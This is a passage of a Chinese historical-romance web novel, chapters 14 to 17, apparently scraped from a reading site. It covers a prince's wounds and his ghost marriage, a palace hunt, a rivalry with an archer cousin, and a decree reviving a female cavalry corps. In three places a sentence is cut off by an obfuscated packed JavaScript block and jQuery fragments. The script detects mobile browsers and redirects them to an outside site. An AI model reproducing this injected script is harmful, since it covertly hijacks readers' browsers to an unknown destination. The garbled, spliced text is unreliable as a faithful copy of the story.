看着段檀血肉模糊的脊背,云无忧忍不住嘀咕:“这真是亲生的吗?”
段檀转身看她,有些虚弱道:“你说什么?”
云无忧见他唇色惨白,脸上血水汗水斑驳,身形仍有些颤抖,不禁叹息一声伸出手道:
“没什么,我扶小王爷回去吧。”
段檀一把挥开了她的手。
云无忧不明所以,偏头看他:“小王爷这是做甚?”
段檀紧紧绷着脸,片刻后扭头看向一旁,冷声道:
“既然方才在卧房时你不要我扶你,如今我负伤,亦不须你来扶。”
云无忧闻言怔愣一瞬,完全没料到段檀竟如此计较她无意为之的一件小事,下意识回嘴:
“那你方才还推了我一把,这怎么算?”
14. 红缨少帅
段檀闻言拉起云无忧双手放在他的胸膛,意思是让云无忧推回来。
云无忧明白他意图后立刻缩回手,随即哭笑不得的一掌拍上自己额头。
段檀一直就是个疯的,她竟然跟疯子较起真来了,难道也疯了不成?
云无忧面上神情变幻极为精彩,段檀不知她为何如此,目光中透露出几分疑惑。
好在云无忧没多久便平复了心绪,对着段檀伸出手道:
“有劳小王爷扶我。”
段檀迟疑片刻,终究还是接住了她的胳膊。
两个伤患互相扶持着一路回到了卧房。
内间,段檀褪了外衣侧坐在床边,劲瘦的上身不着寸缕,身形僵硬如铁铸,耳朵红得可以滴出血。
他脸上的肤色本就白皙,没想到身上更甚,简直冷玉一般,连皮肉下青色的脉络都隐约可见,更显得那些疤痕触目惊心。
对此云无忧面色一派坦然,无羞也无惧,认真往他脊背上抹药,直言问道:“王爷今日为何打你?是因为我吗?”
“不是。”段檀答得极快,“是因为我办事不力,惹恼了父王。”
那他为什么偏在介绍完世子妃后发难?为什么从头到尾视这个世子妃如无物?
分明就是知道了世子妃是假的。
云无忧看得清楚,却并未戳破,段檀关于亡妻的这场梦实在做得太认真,认真得几乎有些可怜,她几番见证,心生恻隐,竟开始不忍惊扰。
“其实那晚,我看到你将字条扔进我书房了。”段檀开口道。
云无忧问他:“那时候小王爷还没就寝吗?”
段檀点头,顿了顿道:“父王归京途中会遇刺的消息,是杨遥臣告诉你的?”
云无忧总不能说是自己私入侯府偷听来的,于是含糊道:“算是吧。”
段檀几不可闻地低语:“原来你们已经到了这个地步。”
云无忧没听清,凑近段檀道:“你说什么?”
感受到云无忧近在咫尺的温热鼻息,段檀猛地起身拉远与她的距离,胸膛起伏,目光也略微散乱,连因重伤惨白的脸都浮上几分红晕。
云无忧有些发懵:“我压到你伤口了?”
此时段檀也意识到他方才的反应太大,对着云无忧胡乱摇摇头又点点头,姿态更加僵硬地坐回了原处。
而段檀这番动作,也让云无忧注意到了他右臂内侧一道格外刺目的伤疤。
那疤痕深长且凸起,应该是被反复割裂过,重重旧疤叠新痂,看着很是狰狞可怖。
云无忧觉得这疤痕有些怪异,多瞧了几眼,但见段檀这会儿眉头紧皱,面色似乎有些烦闷,便没有多问。
为段檀抹完药,云无忧将衣衫递给他:“穿上吧,亥时还要去见你父王。”
段檀接过衣衫,然后拉住她的手就不放了。
云无忧以眼神询问,段檀却垂下眼睛不看她:
“杨遥臣虚伪懦弱,口蜜腹剑,绝非良善之辈,你莫要再被他蒙骗了。”
段檀的凤眼漂亮而狭长,此时长睫垂落,在脸上投下一小片浓密阴影,颤动时如蝴蝶振翅,泛着细碎的微光,挠得云无忧心里有些痒。
他说话时像个较真的孩子,甚至隐隐约约藏着一点不明显的恳求,不过云无忧对他所言早就心知肚明,只是难得见小良王这般模样,一时顽心大起,存心逗他道:
“信平侯不是良善之辈,小王爷如今这副背后议论,恶意中伤的模样,难道就是良善之辈吗?难道就不会蒙骗我了吗?”
段檀闻言立即撂开她的手,一言不发地穿好衣袍离开了卧房。
此人气性太大,是个开不得玩笑的主儿。
云无忧被晾在原地,在房内看着段檀远去的背影腹诽道。
……
亥时,良王院中,书房内烛影摇曳,铜漏滴答,墨香混着沉香流入月色,窗纱上映出一坐一立的两个男子身影。
“当初你告诉孤,与昭平郡主成婚,是为了逢迎先帝。”良王大马金刀地坐在主位,对段檀开口道。
“是为了逢迎先帝。”段檀对他颔首,并未解释什么。
那如今被一个程曜灵的赝品迷昏了头,也是为逢迎先帝?
良王被他气得笑了一声,杀心大起:“先帝早已宾天,你如果还要逢迎他,不妨把府中这个赝品送去绍陵,给他殉葬。”
段檀平静道:“她不是赝品,绍陵若缺殉葬之人,第一个殉的也该是我,还轮不到她。”
这话就实打实地触了良王逆鳞,他眯起眼睛打量着段檀,神色堪称危险:“你不要忘了自己的身份。”
“正是时刻铭记,这才有感而发。”段檀寸步不让,抬眼直视良王双目,父子二人对峙起来,书房里似乎连灯火都凝固。
约莫半盏茶的时间后,良王冷冷道:“给孤一个留下她的理由。”
段檀一意孤行,不惜以命相挟都要护着那个赝品,可偏偏他没法要了段檀的命,只得暂且息戈言和。
于是段檀也鸣金收兵,拿出早已准备好的说辞:“上回沧州之战是五年前,沧州军民,应当有许多都还记得红缨军少帅。”
现沧州牧邓显战功彪炳,被民间誉为天将军,又有他先父邓太尉从前镇守沧州近二十余年的声名加身,在沧州的威望不可动摇,但邓氏从不参与朝中权斗,所以无法拉拢。
而五年前跟北戎人那场大战,沧州沦陷大半,连首府昆吾都丢了,邓显却因先帝的调任,镇守在朔州无法回援。
山河倾覆之际,是武阳长公主出山,领着红缨军旧部赴边,重整边军,仅用一年半就将北戎人逐出国境,全歼北戎主力二十余万,使其五年内都无力南下。
那时候程曜灵在军中做先锋,悍不畏死,战功赫赫,将士们叫武阳长公主元帅,平溪居士便戏称她是少帅,武阳长公主也并不否认,时间一长,这名号便渐渐传开了。
再加上她生母忠节夫人是邓显的亲姐姐,所以在沧州论起人望,天将军第一,武阳长公主第二,第三就是红缨军少帅。
良王轻轻摩挲着手指:“假作真时真亦假,沧州……那张脸倒的确有大用。”
武阳长公主在跟北戎人的决战中殉国,红缨军也早就消失于世间,眼下程曜灵若是能活着出现在沧州,红缨军当年的功勋,以及百姓对武阳长公主的追思,恐怕全都会被记在她头上。
段檀给出的说法让良王收了杀心,起身走到段檀身侧,拍了拍他肩膀:
“你刻苦多年,现今想找个女人松快松快,也属常事,但不可玩物溺志,霍冲的事,月内我要看到结果。”
话音未落他便大步流星地迈出了书房,不带一丝犹豫和停顿,像是生怕听到段檀为了云无忧再说出什么惊人之语。
但段檀还是说了,尽管无人听闻。
“我是玩火自焚。”
烛影昏昏,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506062|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夜色沉沉,他的声音消散在风中。
后头的日子里,因为伤势不轻,段檀和云无忧都告了假,同在良王府里养伤。
直至四月中,杨皇后下谕,命北宫女学众人随她一同前往御林苑猎场围猎,云无忧这才再次入宫。
这日辰时,杨皇后率众入御林苑,日月飞龙伞盖下,她金丝软甲外罩织锦披风,骑逍遥马,佩宝雕弓,随同在后的是两列侍官,侍官之后的则是陪同狩猎的公主嫔妃们。
公主嫔妃之后,才是云无忧她们这些女学老师跟学生,一行人浩浩荡荡,排场不可谓不大。
不多时,一众人马悉数到达御林苑猎场,云无忧身着玄青色劲装,混在女学众人当中,她身侧,齐婴坐在马上笑得意气风发,对着她道:
“那伙子科举出来的腐儒成天自称什么天子门生,装腔作势听得我想吐,今日咱们好不容易跟着皇后娘娘风光这一回,你说是自称中宫门生好听,还是女君门生好听?”
可惜人多嘈杂,云无忧并未听清这几句话,只笑着对齐婴点点头。
她为避免再遇昭平郡主故人,今日刻意躲在了队伍最后,还一直低着头,连杨皇后长什么样子都不曾看见。
而齐婴则是不擅骑射,再加上还想照看学生,所以也在后方。
此时旌旗猎猎,号角声声,队伍最前方的杨皇后一扯缰绳,马儿便冲入了林中,众人纷纷追随而去,云无忧和齐婴却慢悠悠地信马由缰,被落在了最后。
二人逐渐脱离队伍,抵达了一处静谧之地,齐婴见云无忧一路都鬼鬼祟祟躲躲闪闪的,看着她调侃:
“你这样子,不像是来围猎,倒像是来偷猎的。”
云无忧扫视一圈,见四下无人,也抬起头来对齐婴笑道:“大病初愈,见不得风。”
“那便下马。”齐婴早就不想坐在马上颠了。
二人栓好马,在附近一棵枝繁叶茂的大树下席地而坐。
树荫如盖,微风轻拂,齐婴伸手挠了挠自己丰润的面颊,问云无忧:“你可带了吃食?”
云无忧摇头,看着齐婴白皙柔软的脸,有些手痒,想捏。
齐婴对她的念头全然不知,一脸可惜:“你若不曾受伤,这会儿随手猎几只兔子,我来烤制一番,咱们幕天席地,谈古论今,该是何等美事。”
云无忧眨了眨眼,问她:“你要在御林苑点火?”
御林苑禁火,这是宫规。
齐婴拾起身边的一截树枝抛到远处,懒洋洋道:“这不是还没点么,再说你又猎不来兔子,我点了也无用。”
其实云无忧的伤已近痊愈了,猎几只兔子易如反掌,但齐婴要是真的违反宫规点起火,恐怕会引来不少人,她不欲引人注目,于是便笑了笑没有开口。
将附近杂物清理完毕,齐婴交叉双臂往后一躺,喟叹道:“唉,若是四姝仍在,我早入了金兰府大展宏图,哪还用在这里被马颠。”
云无忧坐在齐婴身边,图谋不轨地戳了戳她的脸,随口问道:“四姝?金兰府?那是什么?”
触感果然如想象中那般柔腻,云无忧稍微得手,有些满足地在心里感慨,齐婴还真是人如其名,都年近三旬了,性子却剔透纯澈如孩童,连肌肤都如初生一般滑嫩。
岂料齐婴闻言猛地转头,鼻尖蹭过她指端,满脸惊诧地看向她:“你竟不知北地四姝和金兰府?!你母亲忠节夫人便是四姝之一,当年的金兰府长史啊!”
15. 北地四姝
云无忧霎时心头一震,随即收回手为自己遮掩道:“之前我撞伤过头,痊愈后便忘记了许多事。”
齐婴也不疑有他,恍然大悟地念叨:“怪不得看你总是懵懵懂懂的,竟是如此……也罢,那我便同你说道说道。”
“虞朝末年时,我大央太|祖起义,初霸京师,不料却中道崩殂,
其时强敌环伺,太宗与先帝两兄弟皆在外征战,都城风雨飘摇,
好在武阳长公主那时为夫守孝,正在京城。
她挺身而出镇守城关,忠节夫人亦是出面相助,二人一外一内,一武一文,退强敌抚民心,募兵士纳义军,生生稳住局势,扭转乾坤。
先帝元后圣慧皇后,便是当年起义军首领之一,被武阳长公主所败后带兵归降,成为公主麾下先锋。
之后平溪居士匹马闯钊关,孤身入京为太|祖奔丧,一纸祭文惊天下,带来了燕州龙城慕容氏的盟书。
至此四姝齐聚京城,因她们皆出身于北方州郡,时人称之为北地四姝。”
“至于金兰府,则是太宗开国后论功行赏,武阳长公主作为千秋阁二十八功臣中的头名,被封为大将军,领红缨军,又特赐她开府建牙,自理军政之权,这才有了金兰府。”
云无忧手中把玩着齐婴散落的一绺头发,面露不解:“武阳长公主是皇室中人,怎么跟功臣们一起排到千秋阁去了?”
听到云无忧问这个,齐婴整张脸都亮了起来,神采飞扬地笑道:
“太宗设千秋阁时,襄侯慕容霸与博阳侯崔峻争首功,二人在朝堂上斗得昏天黑地。
岂料平溪居士横插一手,挥毫写了一篇《大央受命赋》,虽是歌功颂德之作,但辞藻壮丽,气魄绝世,一时风靡京城,连牙牙学语的稚子都能诵上两句。
而赋中议论人物时,竟石破天惊的将武阳长公主列在了功臣头名,于是太宗也顺势而为,将他的亲妹妹推上了千秋阁魁首之位。
长公主既有力挽天倾之功,又是段姓皇族,慕容霸和崔峻自是无话可说,只能捏着鼻子认了。”
一番话下来,齐婴满脸都是与有荣焉的骄傲,心内亦是极为激昂,以至于大发豪言:“武阳长公主若还在世,真不知有多少人要做公主门下走狗!我就是头一个!”
云无忧急忙阻止她:“你再想追随武阳长公主,也不能用走狗来形容自己啊!长公主是好,但你也自有才德,怎可自轻自贱!”
齐婴失笑,抬手轻轻点了点她的额头:“傻郡主,门下走狗可不是骂人的意思,古时文人骚客,多有以此说法抒发自己对他人崇敬追随之意的。”
云无忧知道自己闹了个笑话,倒也不脸红,大方道:“你不是在贬损自己就好。”
接着寻回了之前的话头:“对了,照你方才说的,我看太宗皇帝也很是爱重武阳长公主,这样的骨肉亲情,在皇室倒是难得。”
齐婴闻言又笑,但这回的笑意中竟然透出了几分冷嘲:
“爱重?或许有吧,但恐怕最重要的是,武阳长公主是个女子——她功再高也不能镇主,再怎么权势彪炳都后继无人。
在内无缘皇位,在外所向披靡,世上不会有比这更好的天子剑了,平溪居士想必也是看透了这一点,所以才敢肆无忌惮地为长公主表功。”
云无忧目光微动,没料到她看得如此深彻,受了她这番话的启发,想到程曜灵生父为先帝挡酒而死的事,也若有所思道:
“太宗无比忌惮先帝,却待武阳长公主格外亲厚,是因为先帝生来便有逐鹿天下的资格,而武阳长公主从来没有。”
齐婴望着远方天幕,之前高谈阔论的激扬如云雾般被风吹散,神色恍惚而落寞:
“想当年金兰府中,忠节夫人为长史,总领政务,
平溪居士为司马,行军师之职,
圣慧皇后为都尉,实乃长公主副将,常领兵随行。
若不是后来四姝僭政……”
说到此处,齐婴不禁冷哼一声,恨恨道:
“什么僭政!四姝本就是开国元勋、朝中重臣,参与国事怎么就成了僭越之举!”
“还不是赵华那群老儒虫见不得女子站在朝堂上,才在后来给那件事定了这个混账名字!”
云无忧闻言赶紧环视四周,见无人靠近才松了口气。
赵华是当今太傅兼尚书令,三朝元老,文官之首,齐婴如此口吻,若让有心之人听见,定会惹上麻烦。
她提醒有些激动起来的齐婴:“祸从口出,小声些,莫被人听见。”
齐婴此时也反应过来,眼中灼灼燃烧的火光黯淡下来,声音渐弱:
“总之,因为后来四姝……乱政之事,金兰府诸英流散,自此外朝再无女官,大央女子仕途之路断绝,只能在后宅里草草一生。
如今四姝也已殁其三,只剩下你母亲一人,偏偏她又出家避世,再不理凡尘,我辈女子,当真是绕树三匝,无枝可依了。”
云无忧听她说完这些话,胸中激荡难平,忍不住追问道:
“那四姝乱政之事又是什么?竟有如此后果?”
齐婴长叹一声,眉间郁郁:“此事我不敢多言。”
云无忧讶然,齐婴连活着的太傅赵华都敢骂,怎么却不敢谈及一桩过往之事。
见到云无忧神色,齐婴又是一叹,解释道:
“先帝曾有诏,禁止议论此事,违者杀无赦。”
云无忧也叹息一声,二人一时无言。
不多时,云无忧又想起一事,向齐婴问道:“对了,你我初见那日,你说小良王大婚时还请教过你,这是为何?”
齐婴有些为难:“小良王竟没告诉过你吗?不过也是,这事到底晦气,确实不好出口……”
云无忧不介意地摆摆手:“我不怕晦气,你但说无妨。”
齐婴于是遂她心意,安抚般攥住了她的手,回忆道:
“说起来那是天授二十年年初的事了,我因为许诺不嫁以养父母,在家侍疾五年,事父至孝,又出了一本《虞礼通考》,名声传遍京城。
小良王大概也是因此,才来我奉康伯府求见于我,想求教关于他大婚的诸多事宜。
起初我以为他只是想借我名气为他大婚造势,便闭门不见。
谁知他竟在奉康伯府门口站了一天一夜,我家家丁清早开门时,看见阶下快两米的一个雪人,简直惊呆了。
知道那是小良王之后更是差点没吓晕过去。
而他肯做到如此地步,哪怕是为博名,我也认了,于是迎他入府相见。
后来与他交谈,我才知道他要请教我的并不是寻常婚礼。”
说到此处,齐婴深深看了云无忧一眼,面上感概之色极浓:
“他请教我的,是男生女死的冥婚婚仪。”
“也是那时我才得知,平溪居士和昭平郡主带着红缨军旧部,俱在前一年覆灭于沧州山火。”
“当然,如今你既然回来了,那红缨军也不算是全军覆没。”
“其实就是全军覆没了。”云无忧声音轻得几不可闻。
齐婴没听清她的话,坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506063|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起身问道:“你说什么?”
“没什么。”云无忧含糊过去,又问她:“后来小良王大婚时,你可有受邀?”
齐婴神情唏嘘:“那是自然,不过虽有先帝赐婚,却毕竟是冥婚,宾客极少,排场也不大。”
“当时忠节夫人不肯露面,好在良王和老高唐侯都在场,程若鱼也愿意出面捧着你的牌位跟小良王拜堂,整场婚礼,礼数是不曾错漏的。”
“而且最后连病中的先帝都到场了,忠节夫人也派人到良王府要走了你的牌位。”
段檀跟她说过的“奉旨成婚,羡煞旁人”竟是如此……
其实应该问些什么的,譬如先帝为何会赐这场冥婚,譬如忠节夫人为何不肯出席这场婚礼,譬如良王为何会同意自家世子迎娶一个已故之人……
但云无忧只是不自觉地抿唇,心一点一点沉坠下去,仿佛陷进水底深深的泥沙之中,无法张开嘴吐出半个音节,就这么让齐婴的话掉在了地上,二人之间仿佛连风都凝滞。
好在此时齐婴不知突然看到了什么,面上陡然绽出一个惊喜的笑容,朝着云无忧身后挥手。
云无忧见她此番动作,也转头向后看去。
马蹄声逐渐清晰,一位身形高挑的女子披着天光策马而来,在她们附近扯住缰绳停下了。
齐婴站起身,大剌剌拍了几下身上沾到的尘土碎屑,拉着云无忧走过去,对来人笑道:“怎么不去狩猎?”
高挑女子坐在鞍上,俯身拿掉齐婴头上沾着的几片落叶,亦是笑答:“无人相陪,无趣得紧,便过来寻守心姐姐了。”
齐婴轻轻拍了拍她的膝盖,向她介绍云无忧:“这是昭平郡主,你们应当是旧相识了。”
然后又转脸对云无忧道:
“你大概不记得了,这是长宁公主,天授十七年的那次沧州之战,你们可是战友。”
云无忧抬眼看向长宁公主,同为公主,长宁看起来与昌平大不相同。
二人都继承了央国皇室一贯的好相貌,昌平把傲慢跋扈写在脸上,长宁周身却有种静水流深的内敛平和,如月下优昙,花好却不轻开,虽然不似芍药整日耀丽夺目,但琼苞吐蕊时,也是毋庸置疑的天下绝色。
与长宁公主静静对视片刻,云无忧转头对齐婴开口:“我都不记得了,恐怕算不上是旧相识,三人同行难免拥挤,你还是陪着公主吧。”
语罢她将齐婴向长宁公主处推了一把,强打起精神笑道:“不必忧心我,我一人不妨事,正好躲清静。”
之后齐婴与长宁公主同乘而去,云无忧则有些失魂落魄地走到了被拴住的马前。
北地四姝、金兰府、冥婚,还有长宁公主这个所谓的往日战友,桩桩件件都令她心烦意乱、头痛欲裂。
长呼一口气,她拿起长弓,从箭囊中抽出箭矢,瞄准太阳,拉弓如满月,羽箭离弦,划破九重天。
她看京城的太阳不顺眼很久了。
这里的日头悬得太高,楼台起得太多,街头巷尾又总是太熙攘,落在每个人身上的光都稀薄,不剩下多少暖意。
于是云无忧常常不由自主地想起从前,想起沧州无边无际的田野,想起黄昏时昆吾城里四起的炊烟,想起她顽固得要命却烧得一手好饭的爹爹,
想起很久之前在春日的山林中,她和林寻笑着收好弓箭,把猎物装满了背篓……
如此发泄几番,云无忧胸中郁气消散不少,大脑也清明许多。
但正当她翻身上马准备离开此地时,一支利箭挟着破空之声朝她疾驰而来。
16. 杏脯无辜
云无忧本能地向后仰身躲过箭矢,再稳住身形时则见到了一个熟人。
“程若鱼。”云无忧眯起眼睛看向来人,语气冷漠。
程鸢虚伪客套道:“久违了,堂姐。”
“堂姐”这两个字,她咬得极重,显而易见是在嘲讽云无忧。
云无忧冷哼一声,也不惯着她,当即拉弓朝她连射两箭,煞她锐气。
被程鸢一一躲过后,也不欲与她纠缠,拍马欲走。
谁知程鸢却不肯放过她,在她身后道:
“赝品就是赝品,顶着这张脸,却连箭术都上不了台面。”
云无忧立时转头,用一种极危险的目光盯着程鸢。
她的箭术是先父手把手教的,程鸢此言辱及先父,她不欲再忍。
她当即取箭抬弓,对准了程鸢眉心。
程鸢此时也明白云无忧是动真格了,也抬弓引箭,试图同云无忧对峙,可惜她的箭还未搭上弓弦,云无忧的利矢便已离弦破空,朝她而来。
眼见躲不过,她彻底慌了心神,手指被弓弦割出血迹,连箭都掉在了地上。
可云无忧那支箭看着是直击她眉心,最后却越过她,钉在了她身后的树上。
她劫后余生,脸上汗水泪水一同涌出,但就这样了还不忘大笑着嘲讽云无忧:“哈哈哈哈,赝品果然是赝品!”
云无忧看着眼前这个疯婆子淡淡道:
“看你身后。”
程鸢闻言下意识扭头看向身后,只见一条花纹妖冶的长蛇近在咫尺,目光怨毒,正冷冰冰地盯着她。
她登时大叫一声跌下马去,抱着脑袋蜷缩在地上瑟瑟发抖。
云无忧见状嗤笑一声,拍马到她身边绕了几圈,看够了她这副狼狈样,才伸手摘下那条被自己一箭钉在树上的毒蛇,扔到了程鸢身上。
程鸢又是一阵大叫,这回叫得更加凄厉,也更加长久,刺耳异常。
云无忧掏了掏耳朵,提高声量打断她:“别叫了,是死蛇。”
程鸢这才消停,一把抓住衣裳上的死蛇扔向远处。
她也知道在云无忧面前丢了个大脸,坐在地上脸憋得通红,胸膛上下起伏着,半晌都说不出一句话。
云无忧见状从箭囊中取了一支箭向程鸢头上扔去,正斜插在她发髻中,让她看起来十分滑稽。
看着程鸢这个模样,云无忧笑出了声。
程鸢怒瞪着云无忧,可惜此刻她跌坐在地,形容狼狈,鬓发凌乱,身边也没了兵器,这种眼神对云无忧毫无威胁,只会让云无忧脸上的笑容更甚。
然后云无忧就看到程鸢哭了,两行泪从她双眼中不断涌出,她也不抬手擦去,就这样倔强地瞪着云无忧无声哭泣。
见她如此,云无忧心生恻隐,收敛了笑容长叹一声道:
“程小姐,你何必苦苦追着我不放呢?这赝品不是我想当的,也不是我想不当就可以不当的。
你堂姐生前是个烈士,看在她的份儿上,这回我放过你,下次相遇你若还要挑衅,我绝不会再留情。”
不料程鸢闻言却激烈道:“谁要你看在程曜灵的份儿上!谁要你留情了!”
“你有本事现在就一箭杀了我!”
“来呀!杀了我!”
云无忧见她反应很不对劲,思及之前她在高唐侯府所言,皱眉道:“你恨昭平郡主?”
程鸢眼中燃起熊熊怒火,大滴大滴的眼泪也从这火中滚滚落下,高声反问道:“我不该恨她吗?”
“因为她,自幼待我最好的伯母出家做了道士,再也不肯露面见人,
因为她,我才十三岁就要在一个死人的婚礼上,捧着死人的牌位,和死人的丈夫拜堂,
因为她,我每日都被母亲耳提面命,要学她打扮学她脾性学她才能,在你来之前,我才是那个赝品!
而你来之后,我就成了失败的赝品,这简直太可笑了!”
这番话字字泣血,连云无忧也为其中的悲愤所动,缄默了一阵子,问她:“你母亲要你学昭平郡主做什么?”
程鸢坐在地上笑得讽刺:“为了攀附小良王啊。”
云无忧攥紧了拳头,从肺里呼出一口长气,仰面望天,一时无言。
不久后,程鸢整理好鬓发,面上情绪已然平复,站起身对着云无忧平静道:
“下次相遇,为了小良王,我还是会对付你的。”
语罢翻身上马,绝尘而去。
云无忧在原地久久停驻,而后对准天上红日射光了箭囊中所有箭矢,策马离开时脑海里只剩下一个念头:
京城是全天下最烂的地方。
……
接近正午时分,她回到猎场入口处,本想跟侍官打个招呼然后提前离宫,谁知还没走到侍官面前,就被齐婴一把拽走。
“太后降下懿旨,女学里就剩你没到了。”齐婴拉着云无忧跪在了众人最后。
此时太后派来的姑姑向脚下扫视一圈,见人数已齐,便开始传旨:
“女学诸君,皆龙蟠凤逸之士,德行贞绝,道术通明,身为女子而心雄万夫……今新朝初定,海内盛平,吾欲效穆元太后故事,复女骑官署,于下月初一选官二十……”
太后懿旨宣读完毕,传旨姑姑离去,众人一同起身时,云无忧撞了撞齐婴的胳膊问道:
“方才那懿旨都说了些什么?我有些不太听得懂。”
不等齐婴回答,程鸢便走过她身侧,留下一句话:“说下月初一太后要在女学里选女骑,真是个睁眼瞎。”
无端被骂,云无忧反应不及,有点发懵地眨着眼,齐婴见状扑哧一笑,拉着她的胳膊揶揄道:“听见了吗?睁眼瞎~”
云无忧见齐婴如此,暗道看样子方才长宁公主应当没发现什么,想来就算是战友,也有交集泛泛的。
她心中放下一块石头,佯怒的瞪了一眼齐婴:
“你也取笑我!”
齐婴笑笑:“按说长幼有序,若鱼对你无礼本是她的错,可若鱼平日里是最好相处的,对你火气却这么大,你是怎么把她给惹翻的?还是做堂姐的人呢,也不知道让着点妹妹。”
云无忧苦笑,对齐婴故作烦恼道:“别提了,家家有本难念的经。”
齐婴点了点头后正色道:“方才若鱼说得不错,岑太后重开女骑,你可要参选?”
云无忧问她:“你要去参选吗?”
齐婴直截了当:“我不去。”
“杨皇后一手重建女学,担任学宫祭酒,向来尽心尽力,如今女学渐成气候,岑太后却要来摘桃子,世上哪有这种便宜事。”
“再说,年初我父亲临终前,上奏恳请将奉康伯之位传于我,满朝批驳之声,那时是杨皇后力排众议,特准我以孝道袭爵,眼下要我忘记杨皇后恩德转投岑太后,绝无可能。”
“不过我虽不去,还是希望你能去的。”
云无忧偏头看她:“这是为何?”
齐婴道:“你我不同,我不擅骑射,去与不去也只是表一个态度,可你向来英勇,是当年穆元太后身侧女骑之首,松丘救驾更是名动京城,如今女骑重设,你怎能不去再展襟抱?”
云无忧心道那就更不能去了,她本就不想入宫,若是跑去参选女骑,岂不是在这宫闱里越陷越深?
她又不是真的昭平郡主,什么松丘救驾,她一个反贼,能忍住不刺王杀驾就不错了。
再说岑太后可是昌平公主的亲娘,她去了跟羊入虎口有什么区别。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506064|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于是她对齐婴笑道:
“我思量一番,还是觉得你方才所言有理,皇后重开女学殊为不易,我们怎能弃她而去,女骑这热闹我还是不凑了,让别人去吧。”
“你就算去了,太后也未必选你。”程鸢不知什么时候跑到了云无忧身后,冷嘲热讽了一句后又走远了。
将此情此景收入眼中,齐婴颇有些忍俊不禁地看着云无忧,云无忧也只得无奈笑笑。
随后齐婴对着云无忧感慨道:“若鱼一向与岑太后亲厚,想来此次必能中选。”
云无忧随意点点头,比起此事,其实她更关心的是程鸢若进了女骑,今后她的射艺课没人使绊子,是不是就要教更多人了。
一想到这些她就头疼,只想让杨皇后赶紧把她从女学给辞退了。
跟侍官打过招呼后,她从重明宫出来,本想去梧桐巷进信平侯府再寻军印,却见到杨弈正在长乐门门口负手而立。
她立即快步上前,从背后拍了拍杨弈的肩调笑道:“侯爷,今日怎么有雅兴站在这儿晒太阳?”
眼前人先是身形一僵,而后转过身,眉眼桀骜,目光锋锐,是段檀。
认错人了……云无忧尴尬地收回手,向后退了两步对段檀道:“小王爷可是要入宫?”
段檀压低了眉头沉声道:“见到是我,你很失望?”
云无忧是有些失望,不过她与段檀一同在王府里养伤养了小半个月,如今见他这副模样,哪里还不明白他这是不高兴了,遂笑语道:
“小王爷这是哪里的话,我方才一时眼拙才将小王爷认成了旁人,小王爷莫怪,我给你赔罪就是了。”
话到最后还躬身作了个揖。
她的顺毛捋很见成效,段檀脸色果然缓和不少,将手上拿着的纸袋塞到云无忧手中,冷哼一声:“我要你的赔罪有何用?”
云无忧知道段檀这是不气了,打开纸袋看了眼,颇为惊喜:“杏脯!”
正是她赞过的那家铺子里的。
见她欢欣,段檀凤眸略弯了弯,牵起她另一边手腕,拉着她就往前走。
云无忧单手托着杏脯,看了看自己被段檀拉住的手腕,有些郁闷:“小王爷,你这样拉着我,我没法吃杏脯了。”
段檀步履不停,闻言松手,却回头从她手里抢过了那袋杏脯。
他突如其来的抢食行为让云无忧有点发愣,但没愣多久,她唇边就出现了一枚裹着厚厚糖霜的杏脯。
云无忧盯着那捏住杏脯的修长手指,心中颇为抗拒,嘴角扯了扯:“小王爷,这恐怕不妥……”
又不是真夫妻,举止亲密至此,实在没必要。
段檀不知她所想,还以为她嫌弃自己,板着脸解释:“我的手很干净。”
云无忧冲口而出:“我的嘴不干净。”
段檀皱眉,听不懂她在说什么。
云无忧看着他满面诚恳:“有口水,怕是会污了小王爷贵手。”
段檀直接将杏脯往她嘴里一塞:“我不嫌你。”
但我嫌你……罢了,都被喂了一颗,再反抗也没意义,何况杏脯无辜,云无忧于是屈从。
不久后,她努力嚼着嘴里几颗杏脯,口齿不甚清晰地问段檀:“咱们这是去哪儿?”
她此刻双眼溜圆,两颊鼓鼓,像极了常在树上蹦哒的贪嘴鸟雀,看得段檀唇角一勾,忍不住又给她投喂,带着点笑意道:“看戏。”
之后二人走了快半个时辰,钻进了一片人迹罕至的树林里。
云无忧环视着附近的树木花草心生迷惑,哪有戏台子是搭在这种地方的,段檀不会是走错了吧?
她看向此刻正在树林里悠哉看花的段檀,问道:“小王爷,咱们这是要在哪儿看戏?”
17. 寡妇鳏夫
段檀头也不回道:“再等等。”
然后又对着云无忧招手:“你过来。”
得知冥婚之事后,云无忧对段檀这个鳏夫的容忍度变得奇高。
以至于就算现在段檀对她又卖关子又呼来喝去的,她也只是默默往天上白了一眼,随后便认命地走到了段檀身边。
见云无忧过来,段檀终于舍得将视线从花树上挪开,看着她道:
“此处海棠开得甚好,你以为呢?”
